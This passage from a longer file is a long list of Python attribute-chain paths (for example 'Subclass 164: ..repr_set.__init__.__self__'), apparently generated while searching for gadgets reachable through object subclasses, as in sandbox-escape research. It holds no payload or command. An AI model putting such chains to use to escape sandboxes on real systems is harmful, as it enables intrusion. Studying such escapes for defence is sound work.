..create_module.__new__.__self__", "Subclass 94: ..__subclasshook__.__self__.get_data", "Subclass 164: ..repr_instance.__init_subclass__.__self__", "Subclass 196: ..Match.copy_with.__func__", "Subclass 93: ..create_module.__str__.__self__", "Subclass 109: ..__init__.__reduce__.__self__", "Subclass 135: ..__call__.__setattr__.__self__", "Subclass 164: ..repr.__ne__.__self__", "Subclass 164: ..repr_dict.__delattr__.__self__", "Subclass 80: ..has_deadlock.__init__.__self__", "Subclass 83: ..__weakref__.__objclass__.__repr__", "Subclass 94: ..contents.__hash__.__self__", "Subclass 133: ..__init__.__call__.__self__", "Subclass 94: ..get_data.__new__.__self__", "Subclass 140: ..__init__.__reduce_ex__.__self__", "Subclass 80: ..acquire.__format__.__self__", "Subclass 199: ..is_resource", "Subclass 104: ..get_code.__reduce_ex__.__self__", "Subclass 117: ..__aiter__.__sizeof__.__self__", "Subclass 96: ..is_package.__str__.__self__", "Subclass 136: ..__repr__", "Subclass 110: ..readlines.__repr__.__self__", "Subclass 109: ..seek.__getattribute__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_deque", "Subclass 93: ..create_module.__dir__.__self__", "Subclass 135: ..__call__.__le__.__self__", "Subclass 184: ..insert.__eq__.__self__", "Subclass 109: ..readline.__lt__.__self__", "Subclass 175: ..__subclasshook__.__self__._recreate_cm", "Subclass 192: ..__new__.__str__.__self__", "Subclass 198: ..create_module.__new__.__self__", "Subclass 199: ..is_resource.__ge__.__self__", "Subclass 109: ..seek.__str__.__self__", "Subclass 104: ..get_data.__sizeof__.__self__", "Subclass 133: ..__subclasshook__.__self__.__getattr__", "Subclass 164: .._repr_iterable.__call__.__objclass__", "Subclass 195: ..TextIO.seek.__class__", "Subclass 86: ..__subclasshook__.__self__.module_repr", "Subclass 188: ..__copy__.__gt__.__self__", "Subclass 184: ..__getitem__.__setattr__.__self__", "Subclass 110: ..reset.__lt__.__self__", "Subclass 110: ..seek.__gt__.__self__", "Subclass 105: ..contents.__eq__.__self__", "Subclass 95: .._get_parent_path.__le__.__self__", "Subclass 94: ..open_resource.__new__.__self__", 'Global func 1: ..__class__.__annotations__.__objclass__', "Subclass 184: ..__subclasshook__.__self__.getwidth", "Subclass 164: ..__subclasshook__.__self__.repr1", "Subclass 186: ..scan.__class__", "Subclass 184: ..__init_subclass__.__self__.__init__", "Subclass 109: ..reset.__call__.__objclass__", "Subclass 183: ..checklookbehindgroup.__get__.__self__", "Subclass 184: ..__repr__.__gt__.__self__", "Subclass 110: ..seek.__le__.__self__", "Subclass 137: ..setter.__call__.__objclass__", "Subclass 109: ..__getattr__", "Subclass 133: ..close.__sizeof__.__self__", "Subclass 164: ..repr_set.__init_subclass__.__self__", "Subclass 195: ..BinaryIO.readline.__class__", "Subclass 106: ..encode.__repr__.__objclass__", "Subclass 93: ..is_package.__dir__.__self__", "Subclass 80: ..__repr__", "Subclass 138: ..close.__subclasshook__.__self__", "Subclass 164: ..repr_set.__getattribute__.__self__", "Subclass 86: ..exec_module.__repr__.__objclass__", "Subclass 137: ..__get__.__reduce_ex__.__self__", "Subclass 110: ..__init_subclass__.__self__.__exit__", "Subclass 164: ..repr.__reduce__.__self__", "Subclass 80: ..__init__.__lt__.__self__", "Subclass 133: ..__getattr__.__delattr__.__self__", "Subclass 174: ..__subclasshook__.__self__.__get__", "Subclass 104: ..find_module.__getattribute__.__self__", "Subclass 176: ..__init__.__subclasshook__.__self__", "Subclass 107: ..setstate.__delattr__.__self__", "Subclass 164: ..repr_deque.__lt__.__self__", "Subclass 199: ..open_resource.__class__", "Subclass 185: .._Tokenizer__next", "Subclass 82: ..__init__.__init_subclass__.__self__", "Subclass 109: ..__iter__.__format__.__self__", "Subclass 108: ..__init__.__call__.__objclass__", "Subclass 104: ..get_resource_reader.__init__.__self__", "Subclass 134: ..__call__.__getattribute__.__self__", "Subclass 110: ..read.__delattr__.__self__", "Subclass 104: ..__repr__.__subclasshook__.__self__", "Subclass 133: ..__getattr__.__lt__.__self__", "Subclass 94: ..get_resource_reader.__get__.__self__", "Subclass 172: ..__weakref__.__objclass__.__repr__", "Subclass 104: ..get_code.__reduce__.__self__", "Subclass 198: ..load_module.__ne__.__self__", "Subclass 109: ..write.__gt__.__self__", "Subclass 110: ..write.__repr__.__objclass__", "Subclass 174: ..__init__.__str__.__self__", "Subclass 95: .._find_parent_path_names.__repr__.__self__", "Subclass 95: .._get_parent_path.__eq__.__self__", "Subclass 177: .._push_cm_exit.__eq__.__self__", "Subclass 174: ..__set_name__.__get__.__self__", "Subclass 95: ..__subclasshook__.__self__.__len__", "Subclass 82: ..__init_subclass__.__self__.__enter__", "Subclass 137: ..getter.__init_subclass__.__self__", "Subclass 98: ..__init_subclass__.__self__.find_module", "Subclass 109: ..__next__.__reduce__.__self__", "Subclass 104: ..get_code.__gt__.__self__", "Subclass 177: ..push.__subclasshook__.__self__", 'Global func 1: ..__str__.__self__', "Subclass 198: ..load_module.__le__.__self__", "Subclass 109: ..__init__.__subclasshook__.__self__", "Subclass 135: ..__repr__.__init__.__self__", "Subclass 133: ..__init__.__gt__.__self__", "Subclass 179: ..__class__.__dir__", "Subclass 86: ..__subclasshook__.__self__.exec_module", "Subclass 183: ..__init_subclass__.__self__.opengroup", "Subclass 117: ..__aiter__.__dir__.__self__", "Subclass 140: ..__init__.__new__.__self__", "Subclass 137: ..deleter.__call__.__self__", "Subclass 95: ..__contains__.__subclasshook__.__self__", "Subclass 188: ..__deepcopy__.__new__.__self__", "Subclass 80: ..__repr__.__eq__.__self__", "Subclass 108: ..reset.__reduce__.__self__", "Subclass 98: ..find_module.__repr__.__objclass__", "Subclass 133: ..__exit__.__call__.__objclass__", "Subclass 136: ..__call__.__le__.__self__", "Subclass 183: ..checklookbehindgroup.__lt__.__self__", "Subclass 186: ..scan.__repr__.__self__", "Subclass 109: ..__subclasshook__.__self__.readlines", "Subclass 164: ..__subclasshook__.__self__.repr_int", "Subclass 39: .", "Subclass 198: ..module_repr.__repr__.__objclass__", "Subclass 133: ..close.__setattr__.__self__", "Subclass 174: ..__set_name__.__init__.__self__", "Subclass 172: .._make_unbound_method.__lt__.__self__", "Subclass 138: ..close.__format__.__self__", "Subclass 98: .._fill_cache.__format__.__self__", "Subclass 164: ..repr_set.__call__.__self__", "Subclass 115: ..__await__.__format__.__self__", "Subclass 119: ..__class__.__new__", "Subclass 164: ..repr_deque.__reduce_ex__.__self__", "Subclass 94: ..__subclasshook__.__self__.resource_path", "Subclass 174: ..__get__.__class__", "Subclass 137: ..__get__.__get__.__self__", "Subclass 177: .._push_cm_exit.__new__.__self__", "Subclass 184: ..__setitem__.__reduce__.__self__", "Subclass 177: .._push_exit_callback.__sizeof__.__self__", "Subclass 104: ..get_filename.__repr__.__self__", "Subclass 192: ..__new__.__new__.__self__", "Subclass 98: .._get_spec.__new__.__self__", "Subclass 139: ..__init__.__ne__.__self__", "Subclass 95: .._recalculate.__call__.__objclass__", "Subclass 96: ..get_code.__sizeof__.__self__", "Subclass 135: ..__repr__.__repr__.__self__", "Subclass 105: ..__init__.__new__.__self__", "Subclass 177: .._push_exit_callback.__format__.__self__", "Subclass 93: ..load_module.__delattr__.__self__", "Subclass 185: ..__init__.__getattribute__.__self__", "Subclass 94: ..get_data.__reduce__.__self__", "Subclass 109: ..reset.__new__.__self__", "Subclass 184: ..append.__class__", "Subclass 172: ..__init__.__class__", "Subclass 172: ..__get__", "Subclass 115: ..__await__.__call__.__self__", "Subclass 110: ..__weakref__.__objclass__.read", "Subclass 109: ..__exit__.__ge__.__self__", "Subclass 183: ..closegroup.__repr__.__self__", "Subclass 164: .._repr_iterable.__new__.__self__", "Subclass 133: ..__exit__.__hash__.__self__", "Subclass 177: ..pop_all.__gt__.__self__", "Subclass 109: ..writelines.__ne__.__self__", "Subclass 177: ..__init__.__gt__.__self__", "Subclass 109: ..__iter__.__reduce_ex__.__self__", "Subclass 172: ..__repr__.__repr__.__self__", "Subclass 117: ..__class__._abc_caches_clear.__class__", "Subclass 177: ..enter_context.__delattr__.__self__", "Subclass 109: ..__iter__.__hash__.__self__", "Subclass 109: ..__getattr__.__hash__.__self__", "Subclass 108: ..__init__.__ge__.__self__", "Subclass 184: ..__len__.__hash__.__self__", "Subclass 108: ..reset.__init_subclass__.__self__", "Subclass 98: ..find_loader.__class__", "Subclass 96: ..get_source.__ge__.__self__", "Subclass 195: ..BinaryIO.tell.__class__", "Subclass 94: ..__init_subclass__.__self__.__hash__", "Subclass 107: ..encode.__lt__.__self__", "Subclass 86: ..__weakref__.__objclass__.exec_module", "Subclass 93: ..exec_module.__ne__.__self__", "Subclass 135: ..__subclasshook__.__self__.__repr__", "Subclass 183: ..opengroup.__sizeof__.__self__", "Subclass 109: ..write.__le__.__self__", "Subclass 114: ..__hash__.__call__.__self__", "Subclass 164: ..repr_set.__dir__.__self__", "Subclass 132: ..__call__.__class__", "Subclass 108: ..setstate.__ge__.__self__", "Subclass 94: ..__init__.__format__.__self__", "Subclass 98: .._get_spec.__eq__.__self__", "Subclass 185: .._Tokenizer__next.__le__.__self__", "Subclass 185: .._Tokenizer__next.__hash__.__self__", "Subclass 179: ..__class__._find_new_.__class__", "Subclass 98: ..find_loader.__lt__.__self__", "Subclass 94: ..contents.__init__.__self__", "Subclass 186: ..__init__.__le__.__self__", "Subclass 115: ..__await__.__new__.__self__", "Subclass 110: ..write.__new__.__self__", "Subclass 183: ..__init__.__repr__.__objclass__", "Subclass 109: ..readlines.__reduce__.__self__", "Subclass 109: ..read.__class__", "Subclass 81: ..acquire.__call__.__self__", "Subclass 109: ..read.__sizeof__.__self__", 'Global func 1: ..__class__.__closure__.__objclass__', "Subclass 164: .._repr_iterable.__setattr__.__self__", "Subclass 94: ..__weakref__.__objclass__.load_module", "Subclass 199: ..contents.__eq__.__self__", "Subclass 184: ..__weakref__.__objclass__.__init__", "Subclass 94: ..resource_path.__le__.__self__", "Subclass 94: ..get_data.__hash__.__self__", "Subclass 110: ..__weakref__.__objclass__.__init__", "Subclass 132: ..__subclasshook__.__func__.__class__", "Subclass 107: ..getstate.__init__.__self__", "Subclass 198: ..module_repr.__hash__.__self__", "Subclass 110: ..write.__call__.__self__", "Subclass 84: ..module_repr.__new__.__self__", "Subclass 93: ..is_package.__lt__.__self__", "Subclass 173: ..__subclasshook__.__self__.register", "Subclass 177: .._push_cm_exit.__reduce_ex__.__self__", "Subclass 195: ..IO.write.__class__", "Subclass 134: ..__repr__.__dir__.__self__", "Subclass 184: ..append.__subclasshook__.__self__", "Subclass 87: ..__exit__.__get__.__objclass__", "Subclass 86: ..exec_module.__get__.__self__", "Subclass 135: ..__init__", "Subclass 134: ..__init__.__dir__.__self__", "Subclass 185: ..match.__format__.__self__", "Subclass 104: ..load_module.__reduce__.__self__", "Subclass 183: ..closegroup.__setattr__.__self__", "Subclass 186: ..__init__.__delattr__.__self__", "Subclass 96: ..create_module.__getattribute__.__self__", "Subclass 110: ..__getattr__.__setattr__.__self__", "Subclass 136: ..__repr__.__repr__.__self__", "Subclass 87: ..__enter__.__reduce__.__self__", "Subclass 173: ..__init__.__lt__.__self__", "Subclass 175: .._recreate_cm.__call__.__self__", "Subclass 80: ..acquire.__call__.__self__", "Subclass 104: ..__init__.__reduce_ex__.__self__", "Subclass 95: ..__contains__.__init_subclass__.__self__", "Subclass 137: ..setter.__subclasshook__.__self__", "Subclass 195: ..BinaryIO.readable.__class__", "Subclass 174: ..__init__.__hash__.__self__", 'Global func 1: ..__format__.__self__', "Subclass 172: ..__init__.__reduce__.__self__", "Subclass 106: ..decode.__repr__.__self__", "Subclass 164: ..repr_array.__eq__.__self__", "Subclass 137: ..getter.__reduce__.__self__", "Subclass 105: ..is_resource.__le__.__self__", "Subclass 97: ..find_module.__func__", "Subclass 105: ..resource_path.__ne__.__self__", "Subclass 95: ..__weakref__.__objclass__._find_parent_path_names", "Subclass 138: ..throw.__le__.__self__", "Subclass 177: ..push.__lt__.__self__", "Subclass 110: ..readlines", "Subclass 109: ..reset.__le__.__self__", "Subclass 185: ..__init__.__gt__.__self__", "Subclass 177: ..__init__.__format__.__self__", "Subclass 173: ..__init__.__gt__.__self__", "Subclass 184: ..append.__init__.__self__", "Subclass 109: ..__next__.__init_subclass__.__self__", "Subclass 140: ..__init__.__str__.__self__", "Subclass 133: ..__init__.__repr__.__self__", "Subclass 109: ..readlines.__hash__.__self__", "Subclass 177: .._create_cb_wrapper.__delattr__.__self__", "Subclass 175: ..__call__.__reduce__.__self__", "Subclass 175: ..__call__.__str__.__self__", "Subclass 164: ..repr_array.__le__.__self__", "Subclass 108: ..reset", "Subclass 164: .._repr_iterable.__getattribute__.__self__", "Subclass 94: ..get_data.__eq__.__self__", "Subclass 135: ..__repr__.__delattr__.__self__", "Subclass 183: ..checkgroup.__repr__.__self__", "Subclass 83: ..__eq__.__lt__.__self__", "Subclass 164: ..repr_int.__dir__.__self__", "Subclass 195: ..TextIO.seekable", "Subclass 80: ..release", "Subclass 80: ..has_deadlock.__eq__.__self__", "Subclass 140: ..__exit__.__ne__.__self__", "Subclass 138: ..__iter__.__get__.__self__", "Subclass 106: ..encode.__new__.__self__", "Subclass 110: ..__enter__.__call__.__self__", "Subclass 139: ..__str__.__call__.__objclass__", "Subclass 110: ..readlines.__call__.__self__", "Subclass 172: .._make_unbound_method.__get__.__objclass__", "Subclass 184: ..append.__ge__.__self__", "Subclass 94: ..is_resource.__call__.__objclass__", "Subclass 184: ..__subclasshook__.__self__.__getitem__", "Subclass 172: .._make_unbound_method.__hash__.__self__", "Subclass 98: ..__repr__.__str__.__self__", "Subclass 195: ..IO.readline", "Subclass 95: ..__len__.__new__.__self__", "Subclass 106: ..encode.__ne__.__self__", "Subclass 110: ..write.__format__.__self__", "Subclass 184: ..__init__.__call__.__objclass__", "Subclass 135: ..__call__.__repr__.__objclass__", "Subclass 107: ..__init__.__reduce__.__self__", "Subclass 184: ..__init__.__get__.__objclass__", "Subclass 172: ..__get__.__sizeof__.__self__", "Subclass 138: ..__weakref__.__objclass__.throw", "Subclass 94: ..resource_path.__get__.__objclass__", "Subclass 96: ..exec_module.__init_subclass__.__self__", "Subclass 109: ..readline.__call__.__objclass__", "Subclass 110: ..__enter__.__dir__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr1", "Subclass 140: ..__repr__.__dir__.__self__", "Subclass 195: ..BinaryIO.flush.__class__", "Subclass 93: ..load_module.__repr__.__objclass__", "Subclass 138: ..__init__.__format__.__self__", "Subclass 135: ..__init__.__hash__.__self__", "Subclass 81: ..__weakref__.__objclass__.release", "Subclass 104: ..get_code.__sizeof__.__self__", "Subclass 109: ..write.__getattribute__.__self__", "Subclass 93: ..__subclasshook__.__self__.is_package", "Subclass 86: ..get_source.__func__", "Subclass 130: ..__class__._abc_registry_clear", "Subclass 135: ..__repr__.__subclasshook__.__self__", "Subclass 107: ..reset.__setattr__.__self__", "Subclass 174: ..__get__.__reduce__.__self__", "Subclass 104: ..__init__.__get__.__objclass__", "Subclass 86: ..get_source.__func__.__class__", "Subclass 104: ..get_resource_reader.__get__.__self__", "Subclass 98: ..__repr__.__sizeof__.__self__", "Subclass 133: ..__exit__.__le__.__self__", "Subclass 192: ..__new__.__init__.__self__", "Subclass 110: ..__init__.__sizeof__.__self__", "Subclass 138: ..__next__.__dir__.__self__", "Subclass 83: ..__init__.__reduce__.__self__", "Subclass 185: ..__init__", "Subclass 109: ..__exit__.__repr__.__self__", "Subclass 138: ..close.__call__.__objclass__", "Subclass 83: ..__repr__.__repr__.__objclass__", "Subclass 104: ..__init_subclass__.__self__.__repr__", "Subclass 164: ..__weakref__.__objclass__.repr_set", "Subclass 109: ..__init__.__class__", "Subclass 109: ..readlines.__getattribute__.__self__", "Subclass 138: ..send.__hash__.__self__", "Subclass 110: ..read.__class__", "Subclass 81: ..release.__setattr__.__self__", "Subclass 112: ..__class__._abc_caches_clear", "Subclass 176: ..__init__.__setattr__.__self__", "Subclass 196: ..Match.__class__.__repr__", "Subclass 105: ..__init_subclass__.__self__.__init__", "Subclass 139: ..__init__.__setattr__.__self__", "Subclass 173: ..__init__.__ne__.__self__", "Subclass 109: ..readlines.__reduce_ex__.__self__", "Subclass 109: ..__iter__.__call__.__self__", "Subclass 199: ..__subclasshook__.__self__.resource_path", "Subclass 183: ..checkgroup.__reduce_ex__.__self__", "Subclass 109: ..__weakref__.__objclass__.write", "Subclass 110: ..readlines.__str__.__self__", "Subclass 184: ..__delitem__.__subclasshook__.__self__", "Subclass 104: ..load_module.__sizeof__.__self__", "Subclass 98: ..find_module.__hash__.__self__", "Subclass 138: ..throw.__reduce_ex__.__self__", "Subclass 104: ..get_data.__repr__.__objclass__", "Subclass 184: ..__getitem__.__new__.__self__", "Subclass 140: ..__enter__.__subclasshook__.__self__", "Subclass 134: ..__weakref__.__objclass__.__call__", "Subclass 130: ..__len__.__get__.__self__", "Subclass 138: ..__next__.__init__.__self__", "Subclass 136: ..__repr__.__setattr__.__self__", "Subclass 172: ..__get__.__ne__.__self__", "Subclass 183: ..checklookbehindgroup.__str__.__self__", "Subclass 185: ..error.__call__.__self__", "Subclass 95: ..__setitem__.__le__.__self__", "Subclass 95: ..__contains__.__format__.__self__", "Subclass 109: ..__enter__.__format__.__self__", "Subclass 186: ..scan.__lt__.__self__", "Subclass 81: ..release.__init_subclass__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_filename", "Subclass 132: ..__call__.__eq__.__self__", "Subclass 184: ..__repr__.__ge__.__self__", "Subclass 179: ..__class__._check_for_existing_members.__class__", "Subclass 95: ..__getitem__.__get__.__objclass__", "Subclass 84: ..module_repr", "Subclass 86: ..exec_module.__gt__.__self__", "Subclass 109: ..__exit__.__dir__.__self__", "Subclass 185: ..__weakref__.__objclass__.getuntil", "Subclass 82: ..__enter__.__subclasshook__.__self__", "Subclass 95: ..__getitem__.__hash__.__self__", "Subclass 94: ..open_resource.__le__.__self__", "Subclass 93: ..load_module.__ge__.__self__", "Subclass 117: ..__aiter__.__gt__.__self__", "Subclass 139: ..__str__.__le__.__self__", "Subclass 95: ..__contains__.__lt__.__self__", "Subclass 107: ..getstate.__call__.__self__", "Subclass 164: ..repr_str", "Subclass 95: .._get_parent_path", "Subclass 95: ..__init_subclass__.__self__.__setitem__", "Subclass 199: ..resource_path.__lt__.__self__", "Subclass 109: ..readline", "Subclass 107: ..__init__.__init__.__self__", "Subclass 135: ..__init__.__format__.__self__", "Subclass 82: ..__exit__.__format__.__self__", "Subclass 80: ..release.__le__.__self__", "Subclass 185: ..seek.__lt__.__self__", "Subclass 95: ..__repr__.__call__.__self__", "Subclass 81: ..release.__le__.__self__", "Subclass 184: ..__subclasshook__.__self__.__init__", "Subclass 94: ..__init__.__call__.__self__", "Subclass 109: ..readline.__str__.__self__", "Subclass 137: ..__get__.__ne__.__self__", "Subclass 132: ..__call__.__setattr__.__self__", "Subclass 105: ..resource_path.__hash__.__self__", "Subclass 164: .._repr_iterable.__repr__.__self__", "Subclass 164: ..repr_deque.__class__", "Subclass 87: ..__subclasshook__.__self__.__exit__", "Subclass 110: ..__next__.__le__.__self__", "Subclass 164: ..repr_dict.__ne__.__self__", "Subclass 80: ..acquire.__new__.__self__", "Subclass 96: ..get_code.__dir__.__self__", "Subclass 104: ..get_code.__delattr__.__self__", "Subclass 137: ..__get__.__ge__.__self__", "Subclass 98: .._get_spec.__str__.__self__", "Subclass 133: ..close.__reduce__.__self__", "Subclass 138: ..__await__.__dir__.__self__", "Subclass 134: ..__call__.__setattr__.__self__", "Subclass 184: ..__getitem__.__gt__.__self__", "Subclass 104: ..__weakref__.__objclass__.get_source", "Subclass 133: ..__init__.__reduce__.__self__", "Subclass 108: ..reset.__call__.__objclass__", "Subclass 184: ..dump.__subclasshook__.__self__", "Subclass 188: ..__deepcopy__.__repr__.__objclass__", "Subclass 95: ..append.__subclasshook__.__self__", "Subclass 133: ..close.__reduce_ex__.__self__", "Subclass 177: ..enter_context.__getattribute__.__self__", "Subclass 130: ..__subclasshook__.__func__", "Subclass 104: ..__init_subclass__.__self__.find_loader", "Subclass 110: ..__iter__.__call__.__self__", "Subclass 185: ..seek.__init_subclass__.__self__", "Subclass 115: ..__class_getitem__.__self__.__await__", "Subclass 82: ..__init__.__subclasshook__.__self__", "Subclass 164: ..repr_set.__init__.__self__", "Subclass 82: ..__init__.__call__.__objclass__", "Subclass 93: ..create_module.__repr__.__objclass__", "Subclass 173: ..__init__.__getattribute__.__self__", "Subclass 185: ..seek.__gt__.__self__", "Subclass 117: ..__aiter__.__repr__.__objclass__", "Subclass 95: ..__iter__.__class__", "Subclass 183: ..__weakref__.__objclass__.__init__", "Subclass 95: ..__setitem__.__reduce__.__self__", "Subclass 110: ..__subclasshook__.__self__.writelines", "Subclass 104: ..get_source.__subclasshook__.__self__", "Subclass 98: ..find_module.__eq__.__self__", "Subclass 131: ..__class__.register", "Subclass 134: ..__init__.__delattr__.__self__", "Subclass 130: ..__class__.__new__", "Subclass 83: ..__eq__.__gt__.__self__", "Subclass 109: ..readline.__init__.__self__", "Subclass 175: ..__call__.__dir__.__self__", "Subclass 110: ..__init_subclass__.__self__.write", "Subclass 98: ..find_module.__str__.__self__", "Subclass 138: ..close.__sizeof__.__self__", "Subclass 173: ..register.__call__.__objclass__", "Subclass 80: ..release.__eq__.__self__", "Subclass 198: ..load_module.__reduce_ex__.__self__", "Subclass 175: ..__call__.__lt__.__self__", "Subclass 132: ..__class__._abc_registry_clear.__class__", "Subclass 94: ..get_resource_reader.__init_subclass__.__self__", "Subclass 164: ..repr1.__format__.__self__", "Subclass 164: ..repr_instance", "Subclass 94: ..contents.__get__.__self__", "Subclass 133: ..__init__.__str__.__self__", "Subclass 137: ..setter.__format__.__self__", "Subclass 132: ..__call__", "Subclass 164: ..repr.__getattribute__.__self__", "Subclass 197: ..find_module.__get__.__objclass__", 'Global func 1: ..__str__.__self__.__class__', "Subclass 199: ..contents.__call__.__objclass__", "Subclass 172: ..__repr__.__lt__.__self__", "Subclass 196: ..Match.__class__.__instancecheck__", "Subclass 198: ..__class__._dump_registry.__class__", "Subclass 164: ..repr_deque.__ge__.__self__", "Subclass 177: ..pop_all.__ne__.__self__", "Subclass 82: ..__enter__.__ge__.__self__", "Subclass 177: .._push_cm_exit.__class__", "Subclass 132: ..__class_getitem__.__func__.__new__", "Subclass 82: ..__enter__.__hash__.__self__", "Subclass 104: ..find_loader.__class__", "Subclass 104: ..__init__.__eq__.__self__", "Subclass 96: ..__init__.__le__.__self__", "Subclass 164: ..repr_instance.__init__.__self__", "Subclass 174: ..__get__", "Subclass 81: ..release.__ge__.__self__", "Subclass 83: ..__eq__.__repr__.__objclass__", "Subclass 104: ..get_filename.__reduce_ex__.__self__", "Subclass 104: ..find_module.__repr__.__objclass__", "Subclass 185: ..get.__setattr__.__self__", "Subclass 188: ..__deepcopy__.__get__.__self__", "Subclass 164: ..repr_set.__ne__.__self__", "Subclass 80: ..__init__.__sizeof__.__self__", "Subclass 192: ..__class_getitem__.__func__.__class__", "Subclass 184: ..dump.__init__.__self__", 'Global func 1: ..__class__.__code__.__objclass__', "Subclass 96: ..get_source.__le__.__self__", "Subclass 94: ..resource_path.__init_subclass__.__self__", "Subclass 94: ..get_resource_reader.__gt__.__self__", "Subclass 81: ..acquire.__reduce__.__self__", "Subclass 94: ..get_data.__le__.__self__", "Subclass 137: ..__delete__", "Subclass 164: ..repr_set.__sizeof__.__self__", "Subclass 109: ..writelines.__init__.__self__", "Subclass 184: ..__delitem__.__le__.__self__", "Subclass 98: ..path_hook.__self__.__repr__", "Subclass 87: ..__exit__", "Subclass 104: ..get_resource_reader.__repr__.__objclass__", "Subclass 104: ..get_code.__call__.__objclass__", "Subclass 164: ..repr_set.__gt__.__self__", "Subclass 164: ..repr_array.__hash__.__self__", "Subclass 164: ..repr_instance.__get__.__self__", "Subclass 106: ..encode.__subclasshook__.__self__", "Subclass 106: ..encode.__setattr__.__self__", "Subclass 107: ..__init_subclass__.__self__.reset", "Subclass 135: .._Printer__setup.__gt__.__self__", "Subclass 94: ..get_filename.__format__.__self__", "Subclass 173: ..__get__.__reduce__.__self__", "Subclass 82: ..__init__.__call__.__self__", "Subclass 86: ..exec_module.__call__.__self__", "Subclass 93: ..exec_module.__call__.__self__", "Subclass 119: ..__iter__.__init_subclass__.__self__", "Subclass 105: ..resource_path.__eq__.__self__", "Subclass 108: ..decode.__dir__.__self__", "Subclass 172: ..__repr__.__new__.__self__", "Subclass 110: ..read.__call__.__self__", "Subclass 184: ..__setitem__.__sizeof__.__self__", "Subclass 179: ..__class__.__call__", "Subclass 140: ..__exit__.__delattr__.__self__", "Subclass 107: ..setstate.__hash__.__self__", "Subclass 188: ..__copy__.__sizeof__.__self__", "Subclass 95: .._recalculate.__lt__.__self__", "Subclass 185: ..match.__class__", "Subclass 172: ..__weakref__.__objclass__.__init__", "Subclass 105: ..is_resource", "Subclass 184: ..__delitem__.__call__.__objclass__", "Subclass 164: ..__weakref__.__objclass__.repr_frozenset", "Subclass 98: ..find_spec.__delattr__.__self__", "Subclass 96: ..get_source.__reduce_ex__.__self__", "Subclass 132: ..__call__.__gt__.__self__", "Subclass 138: ..throw.__init_subclass__.__self__", "Subclass 94: ..__init__.__reduce_ex__.__self__", "Subclass 96: ..exec_module.__dir__.__self__", "Subclass 105: ..is_resource.__subclasshook__.__self__", "Subclass 98: .._fill_cache.__repr__.__self__", "Subclass 177: ..callback.__format__.__self__", "Subclass 82: ..__enter__.__call__.__objclass__", "Subclass 131: ..__contains__.__setattr__.__self__", "Subclass 108: ..getstate.__ne__.__self__", "Subclass 114: ..__hash__.__dir__.__self__", "Subclass 94: ..contents.__subclasshook__.__self__", "Subclass 137: ..__init__.__ne__.__self__", "Subclass 96: ..create_module.__repr__.__self__", "Subclass 109: ..reset.__repr__.__self__", "Subclass 174: ..__get__.__dir__.__self__", "Subclass 98: ..find_module.__reduce_ex__.__self__", "Subclass 172: ..__get__.__class__", "Subclass 98: .._fill_cache.__new__.__self__", "Subclass 136: ..__repr__.__hash__.__self__", "Subclass 135: ..__repr__.__str__.__self__", "Subclass 199: ..resource_path.__str__.__self__", "Subclass 95: ..__iter__.__gt__.__self__", "Subclass 133: ..__iter__.__new__.__self__", "Subclass 137: ..__init__.__reduce_ex__.__self__", "Subclass 110: ..__iter__.__repr__.__self__", "Subclass 110: ..__exit__.__dir__.__self__", "Subclass 82: ..__init__.__setattr__.__self__", "Subclass 183: ..opengroup.__repr__.__self__", "Subclass 83: ..__repr__.__hash__.__self__", "Subclass 137: ..__init__.__sizeof__.__self__", "Subclass 138: ..__weakref__.__objclass__.__next__", "Subclass 93: ..load_module.__call__.__self__", "Subclass 136: ..__repr__.__lt__.__self__", "Subclass 134: ..__init__.__repr__.__self__", "Subclass 137: ..setter.__setattr__.__self__", "Subclass 185: ..__init__.__class__", "Subclass 94: ..get_data.__init__.__self__", "Subclass 109: ..writelines", "Subclass 164: ..repr1.__setattr__.__self__", "Subclass 195: ..IO.seekable.__class__", "Subclass 106: ..decode.__subclasshook__.__self__", "Subclass 109: ..__exit__.__call__.__objclass__", "Subclass 98: .._fill_cache", "Subclass 96: ..__init__.__call__.__self__", "Subclass 96: ..get_code.__ge__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_code", "Subclass 98: ..__repr__.__getattribute__.__self__", "Subclass 195: ..BinaryIO.__enter__.__class__", "Subclass 135: ..__repr__.__format__.__self__", "Subclass 98: ..find_module.__lt__.__self__", "Subclass 84: ..find_spec.__func__", "Subclass 184: ..append.__repr__.__objclass__", "Subclass 130: ..__len__.__hash__.__self__", "Subclass 164: ..repr1.__str__.__self__", "Subclass 185: ..error.__ne__.__self__", "Subclass 110: ..__init__.__call__.__objclass__", "Subclass 104: ..__weakref__.__objclass__.get_data", "Subclass 133: ..__iter__.__reduce__.__self__", "Subclass 114: ..__hash__.__get__.__self__", "Subclass 164: ..repr_int.__eq__.__self__", "Subclass 184: ..__init_subclass__.__self__.getwidth", "Subclass 96: ..get_code.__gt__.__self__", "Subclass 98: ..__init__.__get__.__objclass__", "Subclass 117: ..__subclasshook__.__func__", "Subclass 140: ..__subclasshook__.__self__.__enter__", "Subclass 87: ..__enter__.__repr__.__objclass__", 'Global func 1: ..__call__.__self__.__class__', "Subclass 105: ..__init__.__reduce_ex__.__self__", "Subclass 133: ..__iter__.__ge__.__self__", "Subclass 185: ..tell.__getattribute__.__self__", "Subclass 95: ..__contains__.__class__", "Subclass 136: ..__repr__.__delattr__.__self__", "Subclass 109: ..reset", "Subclass 172: .._make_unbound_method.__subclasshook__.__self__", "Subclass 184: ..dump.__call__.__self__", "Subclass 98: .._get_spec.__dir__.__self__", "Subclass 109: ..reset.__delattr__.__self__", "Subclass 185: ..match.__ne__.__self__", "Subclass 80: ..release.__ne__.__self__", "Subclass 80: ..__repr__.__sizeof__.__self__", "Subclass 93: ..exec_module.__str__.__self__", "Subclass 109: ..read.__call__.__self__", "Subclass 184: ..__repr__.__sizeof__.__self__", "Subclass 95: ..__repr__.__subclasshook__.__self__", "Subclass 95: .._get_parent_path.__get__.__objclass__", "Subclass 177: ..__init__.__call__.__objclass__", "Subclass 177: .._create_cb_wrapper.__init_subclass__.__self__", "Subclass 131: ..__class__._abc_caches_clear.__class__", "Subclass 134: ..__repr__.__repr__.__objclass__", "Subclass 110: ..seek.__class__", "Subclass 185: .._Tokenizer__next.__class__", "Subclass 109: ..__enter__.__reduce_ex__.__self__", "Subclass 173: ..__get__.__class__", "Subclass 95: ..append.__le__.__self__", "Subclass 104: ..get_source.__delattr__.__self__", "Subclass 184: ..__delitem__.__lt__.__self__", "Subclass 133: ..__iter__.__get__.__objclass__", "Subclass 83: ..__repr__.__init__.__self__", "Subclass 